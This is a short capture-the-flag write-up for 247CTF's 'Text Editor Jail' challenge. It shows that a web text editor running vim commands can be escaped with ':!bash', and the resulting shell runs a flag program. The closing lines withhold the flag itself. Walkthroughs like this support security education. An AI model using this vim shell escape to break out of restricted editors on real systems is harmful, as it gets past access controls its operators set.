247CTF - The Text Editor Jail

Escape a text editor jail and execute code to retrieve the flag.

Vulnerability

The web text editor uses vim commands. Vim’s :!command syntax can execute arbitrary shell commands, breaking out of the restricted environment.

Solution

Use vim’s command execution to escape the jail:

:!bash

This opens a bash shell where you can execute programs:

bash-4.3$ ls
run_for_flag
bash-4.3$ ./run_for_flag

The returned flag belongs to the launched service instance; no cross-instance invariance is established. Record the generation/retrieval method and use the current instance response instead of a fixed-answer spoiler.